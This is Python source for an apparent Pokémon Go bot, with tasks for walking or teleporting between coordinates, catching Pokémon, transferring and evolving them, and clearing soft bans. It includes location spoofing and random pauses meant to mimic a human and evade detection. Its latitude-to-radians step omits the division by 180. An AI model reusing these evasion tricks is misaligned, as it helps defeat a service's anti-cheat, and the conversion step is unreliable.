        :param step_size:
        :param step_limit:
        :return:
        """
        coords = [{'lat': starting_lat, 'lng': starting_lng}]
        steps, x, y, d, m = 1, 0, 0, 1, 1

        rlat = starting_lat * math.pi
        latdeg = 111132.93 - 559.82 * math.cos(2*rlat) + 1.175*math.cos(4*rlat)
        lngdeg = 111412.84 * math.cos(rlat) - 93.5 * math.cos(3*rlat)
        step_size_lat = step_size / latdeg
        step_size_lng = step_size / lngdeg

        while steps < step_limit:
            while 2 * x * d < m and steps < step_limit:
                x = x + d
                steps += 1
                lat = x * step_size_lat + starting_lat
                lng = y * step_size_lng + starting_lng
                coords.append({'lat': lat, 'lng': lng})
            while 2 * y * d < m and steps < step_limit:
                y = y + d
                steps += 1
                lat = x * step_size_lat + starting_lat
                lng = y * step_size_lng + starting_lng
                coords.append({'lat': lat, 'lng': lng})

            d *= -1
            m += 1
        return coords

    def work(self):
        last_lat, last_lng, last_alt = self.bot.api.get_position()

        point = self.points[self.ptr]
        self.cnt += 1

        dist = distance(
            last_lat,
            last_lng,
            point['lat'],
            point['lng']
        )

        alt = uniform(self.bot.config.alt_min, self.bot.config.alt_max)
        if self.bot.config.walk_max > 0:
            step_walker = StepWalker(
                self.bot,
                point['lat'],
                point['lng']
            )

            if self.cnt == 1:
                self.emit_event(
                    'position_update',
                    formatted="Walking from {last_position} to {current_position} ({distance} {distance_unit})",
                    data={
                        'last_position': (last_lat, last_lng, last_alt),
                        'current_position': (point['lat'], point['lng'], alt),
                        'distance': dist,
                        'distance_unit': 'm'
                    }
                )

            if step_walker.step():
                step_walker = None
        else:
            self.bot.api.set_position(point['lat'], point['lng'], alt)
            self.emit_event(
                'position_update',
                formatted="Teleported from {last_position} to {current_position} ({distance} {distance_unit})",
                data={
                    'last_position': (last_lat, last_lng, last_alt),
                    'current_position': (point['lat'], point['lng'], alt),
                    'distance': dist,
                    'distance_unit': 'm'
                }
            )

        if dist <= 1 or (self.bot.config.walk_min > 0 and step_walker == None):
            if self.ptr + self.direction >= len(self.points) or self.ptr + self.direction <= -1:
                self.direction *= -1
            if len(self.points) != 1:
                self.ptr += self.direction
            else:
                self.ptr = 0
            self.cnt = 0

        return [point['lat'], point['lng']]






from pokemongo_bot.base_task import BaseTask
from pokemongo_bot import inventory


class CollectLevelUpReward(BaseTask):
    SUPPORTED_TASK_API_VERSION = 1

    current_level = 0
    previous_level = 0

    def initialize(self):
        self.current_level = self._get_current_level()
        self.previous_level = 0

    def work(self):
        self.current_level = self._get_current_level()

        # let's check level reward on bot initialization
        # to be able get rewards for old bots
        if self.previous_level == 0:
            self._collect_level_reward()
        # level up situation
        elif self.current_level > self.previous_level:
            self.emit_event(
                'level_up',
                formatted='Level up from {previous_level} to {current_level}',
                data={
                    'previous_level': self.previous_level,
                    'current_level': self.current_level
                }
            )
            self._collect_level_reward()

        self.previous_level = self.current_level

    def _collect_level_reward(self):
        response_dict = self.bot.api.level_up_rewards(level=self.current_level)
        if 'status_code' in response_dict and response_dict['status_code'] == 1:
            data = (response_dict
                    .get('responses', {})
                    .get('LEVEL_UP_REWARDS', {})
                    .get('items_awarded', []))

            for item in data:
                if 'item_id' in item and str(item['item_id']) in self.bot.item_list:
                    got_item = self.bot.item_list[str(item['item_id'])]
                    item['name'] = got_item
                    count = 'item_count' in item and item['item_count'] or 0
                    inventory.items().get(item['item_id']).add(count)

            self.emit_event(
                'level_up_reward',
                formatted='Received level up reward: {items}',
                data={
                    'items': data
                }
            )

    def _get_current_level(self):
        level = 0
        response_dict = self.bot.api.get_inventory()
        data = (response_dict
                .get('responses', {})
                .get('GET_INVENTORY', {})
                .get('inventory_delta', {})
                .get('inventory_items', {}))

        for item in data:
            level = (item
                     .get('inventory_item_data', {})
                     .get('player_stats', {})
                     .get('level', 0))

            # we found a level, no need to continue iterate
            if level:
                break

        return level






import json
import os

from pokemongo_bot.base_task import BaseTask
from pokemongo_bot.cell_workers.pokemon_catch_worker import PokemonCatchWorker
from utils import distance
from pokemongo_bot.worker_result import WorkerResult
from pokemongo_bot.base_dir import _base_dir


class CatchVisiblePokemon(BaseTask):
    SUPPORTED_TASK_API_VERSION = 1

    def work(self):
        num_catchable_pokemon = 0
        if 'catchable_pokemons' in self.bot.cell:
            num_catchable_pokemon = len(self.bot.cell['catchable_pokemons'])

        num_wild_pokemon = 0
        if 'wild_pokemons' in self.bot.cell:
            num_wild_pokemon = len(self.bot.cell['wild_pokemons'])

        num_available_pokemon = num_catchable_pokemon + num_wild_pokemon

        if num_catchable_pokemon > 0:
            # Sort all by distance from current pos- eventually this should
            # build graph & A* it
            self.bot.cell['catchable_pokemons'].sort(
                key=
                lambda x: distance(self.bot.position[0], self.bot.position[1], x['latitude'], x['longitude'])
            )
            user_web_catchable = os.path.join(_base_dir, 'web', 'catchable-{}.json'.format(self.bot.config.username))
            for pokemon in self.bot.cell['catchable_pokemons']:
                with open(user_web_catchable, 'w') as outfile:
                    json.dump(pokemon, outfile)
                self.emit_event(
                    'catchable_pokemon',
                    level='debug',
                    data={
                        'pokemon_id': pokemon['pokemon_id'],
                        'spawn_point_id': pokemon['spawn_point_id'],
                        'encounter_id': pokemon['encounter_id'],
                        'latitude': pokemon['latitude'],
                        'longitude': pokemon['longitude'],
                        'expiration_timestamp_ms': pokemon['expiration_timestamp_ms'],
                    }
                )

            self.catch_pokemon(self.bot.cell['catchable_pokemons'].pop(0))
            if num_catchable_pokemon > 1:
                return WorkerResult.RUNNING
            else:
                return WorkerResult.SUCCESS

        if num_available_pokemon > 0:
            # Sort all by distance from current pos- eventually this should
            # build graph & A* it
            self.bot.cell['wild_pokemons'].sort(
                key=
                lambda x: distance(self.bot.position[0], self.bot.position[1], x['latitude'], x['longitude']))
            self.catch_pokemon(self.bot.cell['wild_pokemons'].pop(0))

            if num_catchable_pokemon > 1:
                return WorkerResult.RUNNING
            else:
                return WorkerResult.SUCCESS

    def catch_pokemon(self, pokemon):
        worker = PokemonCatchWorker(pokemon, self.bot, self.config)
        return_value = worker.work()

        return return_value






from datetime import datetime as dt, timedelta
from time import sleep
from random import uniform
from pokemongo_bot.base_task import BaseTask


class RandomPause(BaseTask):
    """Pauses the execution of the bot at a random time for a random duration
    
    Simulates the user doing "something random" for some time.
    Example Config:
    {
        "type": "RandomPause",
        "config": {
          "min_duration": "00:00:10",
          "max_duration": "00:10:00",
          "min_interval": "00:05:00",
          "max_interval": "01:30:00"
        }
    }
    
    Inspired from sleep_schedule. 
    ... In retrospect, we could have used a generic class for both.
    """
    SUPPORTED_TASK_API_VERSION = 1

    LOG_INTERVAL_SECONDS = 600
    # At least 15 second of margin, because of login
    SCHEDULING_MARGIN = timedelta(seconds=15)    # Skip if next pause is RESCHEDULING_MARGIN from now

    def initialize(self):
        # self.bot.event_manager.register_event('sleeper_scheduled', parameters=('datetime',))
        self._process_config()
        self._schedule_next_pause()
        #self._calculate_current_pause() #I didn't get it...

    def work(self):
        if self._should_pause_now():
            self._sleep()
            self._schedule_next_pause()
            self.bot.login()


    def getSeconds(self, strTime):
        '''
        Return the duration in seconds of a time string
        :param strTime: string time of format %H:%M:%S
        '''
        try:
            x = dt.strptime(strTime, '%H:%M:%S')
            seconds = int(timedelta(hours=x.hour,minutes=x.minute,seconds=x.second).total_seconds())
        except ValueError: 
            seconds = 0;
            
        if seconds < 0:
            seconds = 0;
              
        return seconds
    
    def _process_config(self):
        self.minDuration = self.getSeconds(self.config.get('min_duration', '00:00:10'))
        self.maxDuration = self.getSeconds(self.config.get('max_duration', '00:10:00'))
        self.minInterval = self.getSeconds(self.config.get('min_interval', '00:10:00'))
        self.maxInterval = self.getSeconds(self.config.get('max_interval', '01:10:00'))
        
        if self.minDuration > self.maxDuration:
            raise ValueError('random pause min_duration is bigger than random pause max_duration') #TODO there must be a more elegant way to do it...
        if self.minInterval > self.maxInterval:
            raise ValueError('random pause min_interval is bigger than random pause max_interval') #TODO there must be a more elegant way to do it...
        
    def _schedule_next_pause(self):
        '''
        Schedule the time and the duration of the next pause.
        '''
        self._next_pause = self._get_next_pause_schedule()
        self._next_duration = self._get_next_duration()
        self.emit_event(
            'next_random_pause',
            formatted="Next random pause at {time}, for a duration of {duration}",
            data={
                'time': str(self._next_pause.strftime("%H:%M:%S")),
                'duration': str(timedelta(seconds=self._next_duration))
            }
        )

    def _should_pause_now(self):
        if dt.now() >= (self._next_pause + timedelta(seconds=self._next_duration) + timedelta(seconds=1)):
            self._schedule_next_pause()
            return False
        if dt.now() >= self._next_pause:
            return True

        return False

    def _get_next_pause_schedule(self):
        now = dt.now() + self.SCHEDULING_MARGIN
        next_time = now + timedelta(seconds=int(uniform(self.minInterval, self.maxInterval)))

        # If pause time is passed add one day
        if next_time <= now:
            next_time += timedelta(days=1)

        return next_time

    def _get_next_duration(self):
        duration = int(uniform(self.minDuration, self.maxDuration))
        return duration

    def _sleep(self):
        sleep_to_go = self._next_duration

        sleep_m, sleep_s = divmod(sleep_to_go, 60)
        sleep_h, sleep_m = divmod(sleep_m, 60)
        sleep_hms = '%02d:%02d:%02d' % (sleep_h, sleep_m, sleep_s)

        now = dt.now()
        resume = now + timedelta(seconds=sleep_to_go)

        self.emit_event(
            'bot_random_pause',
            formatted="Taking a random break for {time_hms}, will resume at {resume}",
            data={
                'time_hms': sleep_hms,
                'resume': resume.strftime("%H:%M:%S")
            }
        )
        while sleep_to_go > 0:
            if sleep_to_go < self.LOG_INTERVAL_SECONDS:
                sleep(sleep_to_go)
                sleep_to_go = 0
            else:
                sleep(self.LOG_INTERVAL_SECONDS)
                sleep_to_go -= self.LOG_INTERVAL_SECONDS






import copy
import json
import math
import os

from pokemongo_bot import inventory
from pokemongo_bot.base_dir import _base_dir
from pokemongo_bot.base_task import BaseTask
from pokemongo_bot.datastore import Datastore
from pokemongo_bot.human_behaviour import sleep, action_delay
from pokemongo_bot.item_list import Item
from pokemongo_bot.worker_result import WorkerResult

SUCCESS = 1
ERROR_INVALID_ITEM_TYPE = 2
ERROR_XP_BOOST_ALREADY_ACTIVE = 3
ERROR_NO_ITEMS_REMAINING = 4
ERROR_LOCATION_UNSET = 5


class PokemonOptimizer(Datastore, BaseTask):
    SUPPORTED_TASK_API_VERSION = 1

    def __init__(self, bot, config):
        super(PokemonOptimizer, self).__init__(bot, config)

    def initialize(self):
        self.family_by_family_id = {}
        self.max_pokemon_storage = inventory.get_pokemon_inventory_size()
        self.last_pokemon_count = 0

        self.config_transfer = self.config.get("transfer", False)
        self.config_evolve = self.config.get("evolve", False)
        self.config_evolve_time = self.config.get("evolve_time", 20)
        self.config_evolve_for_xp = self.config.get("evolve_for_xp", True)
        self.config_evolve_only_with_lucky_egg = self.config.get("evolve_only_with_lucky_egg", False)
        self.config_evolve_count_for_lucky_egg = self.config.get("evolve_count_for_lucky_egg", 92)
        self.config_may_use_lucky_egg = self.config.get("may_use_lucky_egg", False)
        self.config_keep = self.config.get("keep", [{"top": 1, "evolve": True, "sort": ["iv"]},
                                                    {"top": 1, "evolve": True, "sort": ["ncp"]},
                                                    {"top": 1, "evolve": False, "sort": ["cp"]}])

        self.config_transfer_wait_min = self.config.get("transfer_wait_min", 1)
        self.config_transfer_wait_max = self.config.get("transfer_wait_max", 4)

        if (not self.config_may_use_lucky_egg) and self.config_evolve_only_with_lucky_egg:
            self.config_evolve = False

    def get_pokemon_slot_left(self):
        pokemon_count = inventory.Pokemons.get_space_used()

        if pokemon_count != self.last_pokemon_count:
            self.last_pokemon_count = pokemon_count
            self.logger.info("Pokemon Bag: %s/%s", pokemon_count, self.max_pokemon_storage)
            self.save_web_inventory()

        return inventory.Pokemons.get_space_left()

    def work(self):
        if (not self.enabled) or (self.get_pokemon_slot_left() > 5):
            return WorkerResult.SUCCESS

        self.open_inventory()

        transfer_all = []
        evo_all_best = []
        evo_all_crap = []

        for family_id, family in self.family_by_family_id.items():
            if family_id == 133:  # "Eevee"
                transfer, evo_best, evo_crap = self.get_multi_family_optimized(family_id, family, 3)
            else:
                transfer, evo_best, evo_crap = self.get_family_optimized(family_id, family)

            transfer_all += transfer
            evo_all_best += evo_best
            evo_all_crap += evo_crap

        evo_all = evo_all_best + evo_all_crap

        self.apply_optimization(transfer_all, evo_all)
        self.save_web_inventory()

        return WorkerResult.SUCCESS

    def open_inventory(self):
        self.family_by_family_id.clear()

        for pokemon in inventory.pokemons().all():
            family_id = pokemon.first_evolution_id
            setattr(pokemon, "ncp", pokemon.cp_percent)
            setattr(pokemon, "dps", pokemon.moveset.dps)
            setattr(pokemon, "dps_attack", pokemon.moveset.dps_attack)
            setattr(pokemon, "dps_defense", pokemon.moveset.dps_defense)

            self.family_by_family_id.setdefault(family_id, []).append(pokemon)

    def save_web_inventory(self):
        web_inventory = os.path.join(_base_dir, "web", "inventory-%s.json" % self.bot.config.username)

        with open(web_inventory, "r") as infile:
            ii = json.load(infile)

        ii = [x for x in ii if not x.get("inventory_item_data", {}).get("pokedex_entry", None)]
        ii = [x for x in ii if not x.get("inventory_item_data", {}).get("candy", None)]
        ii = [x for x in ii if not x.get("inventory_item_data", {}).get("item", None)]
        ii = [x for x in ii if not x.get("inventory_item_data", {}).get("pokemon_data", None)]

        for pokedex in inventory.pokedex().all():
            ii.append({"inventory_item_data": {"pokedex_entry": pokedex}})

        for family_id, candy in inventory.candies()._data.items():
            ii.append({"inventory_item_data": {"candy": {"family_id": family_id, "candy": candy.quantity}}})

        for item_id, item in inventory.items()._data.items():
            ii.append({"inventory_item_data": {"item": {"item_id": item_id, "count": item.count}}})

        for pokemon in inventory.pokemons().all():
            ii.append({"inventory_item_data": {"pokemon_data": pokemon._data}})

        with open(web_inventory, "w") as outfile:
            json.dump(ii, outfile)

    def get_family_optimized(self, family_id, family):
        evolve_best = []
        keep_best = []
        family_names = self.get_family_names(family_id)

        for criteria in self.config_keep:
            names = criteria.get("names", [])

            if names and not any(n in family_names for n in names):
                continue

            if criteria.get("evolve", True):
                evolve_best += self.get_top_rank(family, criteria)
            else:
                keep_best += self.get_top_rank(family, criteria)

        evolve_best = self.unique_pokemon(evolve_best)
        keep_best = self.unique_pokemon(keep_best)

        return self.get_evolution_plan(family_id, family, evolve_best, keep_best)

    def get_multi_family_optimized(self, family_id, family, nb_branch):
        # Transfer each group of senior independently
        senior_family = [p for p in family if not p.has_next_evolution()]
        other_family = [p for p in family if p.has_next_evolution()]
        senior_pids = set(p.pokemon_id for p in senior_family)
        senior_grouped_family = {pid: [p for p in senior_family if p.pokemon_id == pid] for pid in senior_pids}

        if not self.config_evolve:
            transfer, evo_best, evo_crap = self.get_family_optimized(family_id, other_family)
        elif len(senior_pids) < nb_branch:
            # We did not get every combination yet = All other Pokemon are potentially good to keep
            transfer, evo_best, evo_crap = self.get_evolution_plan(family_id, [], other_family, [])
            evo_best.sort(key=lambda p: p.iv * p.ncp, reverse=True)
        else:
            evolve_best = []
            keep_best = []
            names = self.get_family_names(family_id)

            for criteria in self.config_keep:
                family_names = criteria.get("names", [])

                if names and not any(n in family_names for n in names):
                    continue

                top = []

                for f in senior_grouped_family.values():
                    top += self.get_top_rank(f, criteria)

                worst = self.get_sorted_family(top, criteria)[-1]

                if criteria.get("evolve", True):
                    evolve_best += self.get_better_rank(family, criteria, worst)
                else:
                    keep_best += self.get_better_rank(family, criteria, worst)

            evolve_best = self.unique_pokemon(evolve_best)
            keep_best = self.unique_pokemon(keep_best)
            transfer, evo_best, evo_crap = self.get_evolution_plan(family_id, other_family, evolve_best, keep_best)

        for senior_pid, senior_family in senior_grouped_family.items():
            transfer += self.get_family_optimized(senior_pid, senior_family)[0]

        return (transfer, evo_best, evo_crap)

    def get_family_names(self, family_id):
        ids = [family_id]
        ids += inventory.Pokemons.data_for(family_id).next_evolutions_all[:]
        datas = [inventory.Pokemons.data_for(x) for x in ids]
        return [x.name for x in datas]

    def get_top_rank(self, family, criteria):
        sorted_family = self.get_sorted_family(family, criteria)
        index = criteria.get("top", 1) - 1

        if 0 <= index < len(sorted_family):
            worst = sorted_family[index]
            return [p for p in sorted_family if self.get_rank(p, criteria) >= self.get_rank(worst, criteria)]
        else:
            return sorted_family

    def get_better_rank(self, family, criteria, worst):
        return [p for p in self.get_sorted_family(family, criteria) if self.get_rank(p, criteria) >= self.get_rank(worst, criteria)]

    def get_sorted_family(self, family, criteria):
        return sorted(family, key=lambda p: self.get_rank(p, criteria), reverse=True)

    def get_rank(self, pokemon, criteria):
        return tuple(getattr(pokemon, a, None) for a in criteria.get("sort"))

    def get_pokemon_max_cp(self, pokemon_name):
        return int(self.pokemon_max_cp.get(pokemon_name, 0))

    def unique_pokemon(self, l):
        seen = set()
        return [p for p in l if not (p.unique_id in seen or seen.add(p.unique_id))]

    def get_evolution_plan(self, family_id, family, evolve_best, keep_best):
        candies = inventory.candies().get(family_id).quantity

        # All the rest is crap, for now
        crap = family[:]
        crap = [p for p in crap if p not in evolve_best]
        crap = [p for p in crap if p not in keep_best]
        crap = [p for p in crap if not p.in_fort and not p.is_favorite]
        crap.sort(key=lambda p: p.iv * p.ncp, reverse=True)

        # We will gain a candy whether we choose to transfer or evolve these Pokemon
        candies += len(crap)

        # Let's see if we can evolve our best Pokemon
        can_evolve_best = []

        for pokemon in evolve_best:
            if not pokemon.has_next_evolution():
                continue

            candies -= pokemon.evolution_cost

            if candies < 0:
                break

            candies += 1
            can_evolve_best.append(pokemon)

            # Not sure if the evo keep the same id
            next_pid = pokemon.next_evolution_ids[0]
            next_evo = copy.copy(pokemon)
            next_evo.pokemon_id = next_pid
            next_evo.static = inventory.pokemons().data_for(next_pid)
            next_evo.name = inventory.pokemons().name_for(next_pid)
            evolve_best.append(next_evo)

        if self.config_evolve_for_xp:
            # Compute how many crap we should keep if we want to batch evolve them for xp
            junior_evolution_cost = inventory.pokemons().evolution_cost_for(family_id)

            # transfer + keep_for_evo = len(crap)
            # leftover_candies = candies - len(crap) + transfer * 1
            # keep_for_evo = (leftover_candies - 1) / (junior_evolution_cost - 1)
            # keep_for_evo = (candies - len(crap) + transfer - 1) / (junior_evolution_cost - 1)
            # keep_for_evo = (candies - keep_for_evo - 1) / (junior_evolution_cost - 1)

            if (candies > 0) and junior_evolution_cost:
                keep_for_evo = int((candies - 1) / junior_evolution_cost)
            else:
                keep_for_evo = 0

            evo_crap = [p for p in crap if p.has_next_evolution() and p.evolution_cost == junior_evolution_cost][:keep_for_evo]

            # If not much to evolve, better keep the candies
            if len(evo_crap) < math.ceil(self.max_pokemon_storage * 0.01):
                evo_crap = []

            transfer = [p for p in crap if p not in evo_crap]
        else:
            evo_crap = []
            transfer = crap

        return (transfer, can_evolve_best, evo_crap)

    def apply_optimization(self, transfer, evo):
        self.logger.info("Transferring %s Pokemon", len(transfer))

        for pokemon in transfer:
            self.transfer_pokemon(pokemon)

        if len(evo) == 0:
            return

        if self.config_evolve and self.config_may_use_lucky_egg and (not self.bot.config.test):
            lucky_egg = inventory.items().get(Item.ITEM_LUCKY_EGG.value)  # @UndefinedVariable

            if lucky_egg.count == 0:
                if self.config_evolve_only_with_lucky_egg:
                    self.emit_event("skip_evolve",
                                    formatted="Skipping evolution step. No lucky egg available")
                    return
            elif len(evo) < self.config_evolve_count_for_lucky_egg:
                if self.config_evolve_only_with_lucky_egg:
                    self.emit_event("skip_evolve",
                                    formatted="Skipping evolution step. Not enough Pokemon to evolve with lucky egg: %s/%s" % (len(evo), self.config_evolve_count_for_lucky_egg))
                    return
                elif self.get_pokemon_slot_left() > 5:
                    self.emit_event("skip_evolve",
                                    formatted="Waiting for more Pokemon to evolve with lucky egg: %s/%s" % (len(evo), self.config_evolve_count_for_lucky_egg))
                    return
            else:
                self.use_lucky_egg()

        self.logger.info("Evolving %s Pokemon", len(evo))

        for pokemon in evo:
            self.evolve_pokemon(pokemon)

    def transfer_pokemon(self, pokemon):
        if self.config_transfer and (not self.bot.config.test):
            response_dict = self.bot.api.release_pokemon(pokemon_id=pokemon.unique_id)
        else:
            response_dict = {"responses": {"RELEASE_POKEMON": {"candy_awarded": 0}}}

        if not response_dict:
            return False

        candy_awarded = response_dict.get("responses", {}).get("RELEASE_POKEMON", {}).get("candy_awarded", 0)
        candy = inventory.candies().get(pokemon.pokemon_id)

        if self.config_transfer and (not self.bot.config.test):
            candy.add(candy_awarded)

        self.emit_event("pokemon_release",
                        formatted="Exchanged {pokemon} [IV {iv}] [CP {cp}] [{candy} candies]",
                        data={"pokemon": pokemon.name,
                              "iv": pokemon.iv,
                              "cp": pokemon.cp,
                              "candy": candy.quantity})

        if self.config_transfer and (not self.bot.config.test):
            inventory.pokemons().remove(pokemon.unique_id)

            with self.bot.database as db:
                cursor = db.cursor()
                cursor.execute("SELECT COUNT(name) FROM sqlite_master WHERE type='table' AND name='transfer_log'")

                db_result = cursor.fetchone()

                if db_result[0] == 1:
                    db.execute("INSERT INTO transfer_log (pokemon, iv, cp) VALUES (?, ?, ?)", (pokemon.name, pokemon.iv, pokemon.cp))

            action_delay(self.config_transfer_wait_min, self.config_transfer_wait_max)

        return True

    def use_lucky_egg(self):
        lucky_egg = inventory.items().get(Item.ITEM_LUCKY_EGG.value)  # @UndefinedVariable

        if lucky_egg.count == 0:
            return False

        response_dict = self.bot.use_lucky_egg()

        if not response_dict:
            self.emit_event("lucky_egg_error",
                            level='error',
                            formatted="Failed to use lucky egg!")
            return False

        result = response_dict.get("responses", {}).get("USE_ITEM_XP_BOOST", {}).get("result", 0)

        if result == SUCCESS:
            lucky_egg.remove(1)

            self.emit_event("used_lucky_egg",
                            formatted="Used lucky egg ({amount_left} left).",
                            data={"amount_left": lucky_egg.count})
            return True
        elif result == ERROR_XP_BOOST_ALREADY_ACTIVE:
            self.emit_event("used_lucky_egg",
                            formatted="Lucky egg already active ({amount_left} left).",
                            data={"amount_left": lucky_egg.count})
            return True
        else:
            self.emit_event("lucky_egg_error",
                            level='error',
                            formatted="Failed to use lucky egg!")
            return False

    def evolve_pokemon(self, pokemon):
        if self.config_evolve and (not self.bot.config.test):
            response_dict = self.bot.api.evolve_pokemon(pokemon_id=pokemon.unique_id)
        else:
            response_dict = {"responses": {"EVOLVE_POKEMON": {"result": 1}}}

        if not response_dict:
            return False

        result = response_dict.get("responses", {}).get("EVOLVE_POKEMON", {}).get("result", 0)

        if result != SUCCESS:
            return False

        xp = response_dict.get("responses", {}).get("EVOLVE_POKEMON", {}).get("experience_awarded", 0)
        candy_awarded = response_dict.get("responses", {}).get("EVOLVE_POKEMON", {}).get("candy_awarded", 0)
        candy = inventory.candies().get(pokemon.pokemon_id)
        evolution = response_dict.get("responses", {}).get("EVOLVE_POKEMON", {}).get("evolved_pokemon_data", {})

        if self.config_evolve and (not self.bot.config.test):
            candy.consume(pokemon.evolution_cost - candy_awarded)

        self.emit_event("pokemon_evolved",
                        formatted="Evolved {pokemon} [IV {iv}] [CP {cp}] [{candy} candies] [+{xp} xp]",
                        data={"pokemon": pokemon.name,
                              "iv": pokemon.iv,
                              "cp": pokemon.cp,
                              "candy": candy.quantity,
                              "xp": xp})

        if self.config_evolve and (not self.bot.config.test):
            inventory.pokemons().remove(pokemon.unique_id)

            new_pokemon = inventory.Pokemon(evolution)
            inventory.pokemons().add(new_pokemon)

            with self.bot.database as db:
                cursor = db.cursor()
                cursor.execute("SELECT COUNT(name) FROM sqlite_master WHERE type='table' AND name='evolve_log'")

                db_result = cursor.fetchone()

                if db_result[0] == 1:
                    db.execute("INSERT INTO evolve_log (pokemon, iv, cp) VALUES (?, ?, ?)", (pokemon.name, pokemon.iv, pokemon.cp))

            sleep(self.config_evolve_time)

        return True






from random import randint

from pgoapi.utilities import f2i

from pokemongo_bot.constants import Constants
from pokemongo_bot.base_task import BaseTask
from pokemongo_bot.cell_workers import MoveToFort
from pokemongo_bot.cell_workers.utils import distance
from pokemongo_bot.worker_result import WorkerResult


class HandleSoftBan(BaseTask):
    SUPPORTED_TASK_API_VERSION = 1

    def work(self):
        if not self.should_run():
            return

        forts = self.bot.get_forts(order_by_distance=True)

        if len(forts) == 0:
            return

        fort_distance = distance(
            self.bot.position[0],
            self.bot.position[1],
            forts[0]['latitude'],
            forts[0]['longitude'],
        )

        if fort_distance > Constants.MAX_DISTANCE_FORT_IS_REACHABLE:
            MoveToFort(self.bot, config={}).work()
            self.bot.recent_forts = self.bot.recent_forts[0:-1]
            if forts[0]['id'] in self.bot.fort_timeouts:
                del self.bot.fort_timeouts[forts[0]['id']]
            return WorkerResult.RUNNING
        else:
            spins = randint(50,60)
            self.emit_event(
                'softban_fix',
                formatted='Fixing softban.'
            )
            for i in xrange(spins):
                self.spin_fort(forts[0])
            self.bot.softban = False
            self.emit_event(
                'softban_fix_done',
                formatted='Softban should be fixed'
            )

    def spin_fort(self, fort):
        fort_id = fort['id']
        latitude = fort['latitude']
        longitude = fort['longitude']
        self.bot.api.fort_search(
            fort_id=fort_id,
            fort_latitude=latitude,
            fort_longitude=longitude,
            player_latitude=f2i(self.bot.position[0]),
            player_longitude=f2i(self.bot.position[1])
        )
        self.emit_event(
            'spun_fort',
            level='debug',
            formatted="Spun fort {fort_id}",
            data={
                'fort_id': fort_id,
                'latitude': latitude,
                'longitude': longitude
            }
        )

    def should_run(self):
        return self.bot.softban






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

import json
import os

from pokemongo_bot.base_task import BaseTask
from pokemongo_bot.cell_workers.pokemon_catch_worker import PokemonCatchWorker
from pokemongo_bot.worker_result import WorkerResult
from pokemongo_bot.item_list import Item
from pokemongo_bot import inventory
from utils import fort_details, distance
from pokemongo_bot.base_dir import _base_dir
from pokemongo_bot.constants import Constants


class CatchPokemon(BaseTask):
    SUPPORTED_TASK_API_VERSION = 1

    def work(self):
        if sum([inventory.items().get(ball.value).count for ball in 
            [Item.ITEM_POKE_BALL, Item.ITEM_GREAT_BALL, Item.ITEM_ULTRA_BALL]]) <= 0:
            return WorkerResult.ERROR

        pokemon = []
        if self.config.get('catch_visible_pokemon', True):
            pokemon = self.get_visible_pokemon()
        if self.config.get('catch_lured_pokemon', True):
            pokemon += self.get_lured_pokemon()

        num_pokemon = len(pokemon)
        if num_pokemon > 0:
            pokemon = self.sort_pokemon(pokemon)
            self.catch_pokemon(pokemon[0])
            if num_pokemon > 1:
                return WorkerResult.RUNNING

        return WorkerResult.SUCCESS

    def get_visible_pokemon(self):
        pokemon_to_catch = []
        if 'catchable_pokemons' in self.bot.cell:
            pokemon_to_catch = self.bot.cell['catchable_pokemons']

            if len(pokemon_to_catch) > 0:
    		    # Update web UI
    		    user_web_catchable = os.path.join(_base_dir, 'web', 'catchable-{}.json'.format(self.bot.config.username))
    		    for pokemon in pokemon_to_catch:
    		        with open(user_web_catchable, 'w') as outfile:
    		            json.dump(pokemon, outfile)
    		        self.emit_event(
    		            'catchable_pokemon',
    		            level='debug',
    		            data={
    		                'pokemon_id': pokemon['pokemon_id'],
    		                'spawn_point_id': pokemon['spawn_point_id'],
    		                'encounter_id': pokemon['encounter_id'],
    		                'latitude': pokemon['latitude'],
    		                'longitude': pokemon['longitude'],
    		                'expiration_timestamp_ms': pokemon['expiration_timestamp_ms'],
    		            }
    		        )

        if 'wild_pokemons' in self.bot.cell:
            pokemon_to_catch += self.bot.cell['wild_pokemons']

        return pokemon_to_catch

    def get_lured_pokemon(self):
        forts_in_range = []
        pokemon_to_catch = []
        forts = self.bot.get_forts(order_by_distance=True)

        if len(forts) == 0:
            return []

        for fort in forts:
            distance_to_fort = distance(
                self.bot.position[0],
                self.bot.position[1],
                fort['latitude'],
                fort['longitude']
            )

            encounter_id = fort.get('lure_info', {}).get('encounter_id', None)
            if distance_to_fort < Constants.MAX_DISTANCE_FORT_IS_REACHABLE and encounter_id:
                forts_in_range.append(fort)


        for fort in forts_in_range:
            details = fort_details(self.bot, fort_id=fort['id'],
                                  latitude=fort['latitude'],
                                  longitude=fort['longitude'])
            fort_name = details.get('name', 'Unknown')
            encounter_id = fort['lure_info']['encounter_id']

            result = {
                'encounter_id': encounter_id,
                'fort_id': fort['id'],
                'fort_name': u"{}".format(fort_name),
                'latitude': fort['latitude'],
                'longitude': fort['longitude']
            }
            pokemon_to_catch.append(result)

            self.emit_event(
                'lured_pokemon_found',
                level='info',
                formatted='Lured pokemon at fort {fort_name} ({fort_id})',
                data=result
            )
        return pokemon_to_catch

    def catch_pokemon(self, pokemon):
        worker = PokemonCatchWorker(pokemon, self.bot, self.config)
        return_value = worker.work()

        return return_value
        
    def sort_pokemon(self, pokemon_list):
        # Sort all by distance from current pos- eventually this should
        # build graph & A* it
        pokemon_list.sort(
            key=
            lambda x: distance(self.bot.position[0], self.bot.position[1], x['latitude'], x['longitude'])
        )
        
        return pokemon_list






from pokemongo_bot.walkers.step_walker import StepWalker
from pokemongo_bot.cell_workers.utils import distance
from pokemongo_bot.cell_workers.utils import find_biggest_cluster
from pokemongo_bot.base_task import BaseTask
from random import uniform

class FollowCluster(BaseTask):
    SUPPORTED_TASK_API_VERSION = 1

    def initialize(self):
        self.is_at_destination = False
        self.announced = False
        self.dest = None
        self._process_config()

    def _process_config(self):
        self.lured = self.config.get("lured", True)
        self.radius = self.config.get("radius", 50)

    def work(self):
        forts = self.bot.get_forts()
        log_lure_avail_str = ''
        log_lured_str = ''
        if self.lured:
            lured_forts = [x for x in forts if 'active_fort_modifier' in x]
            if len(lured_forts) > 0:
                log_lured_str = 'lured '
                self.dest = find_biggest_cluster(self.radius, lured_forts, '9QM=')
            else:
                log_lure_avail_str = 'No lured pokestops in vicinity. Search for normal ones instead. '
                self.dest = find_biggest_cluster(self.radius, forts)
        else:
            self.dest = find_biggest_cluster(self.radius, forts)

        if self.dest is not None:

            lat = self.dest['latitude']
            lng = self.dest['longitude']
            cnt = self.dest['num_points']

            if not self.is_at_destination:
                msg = log_lure_avail_str + (
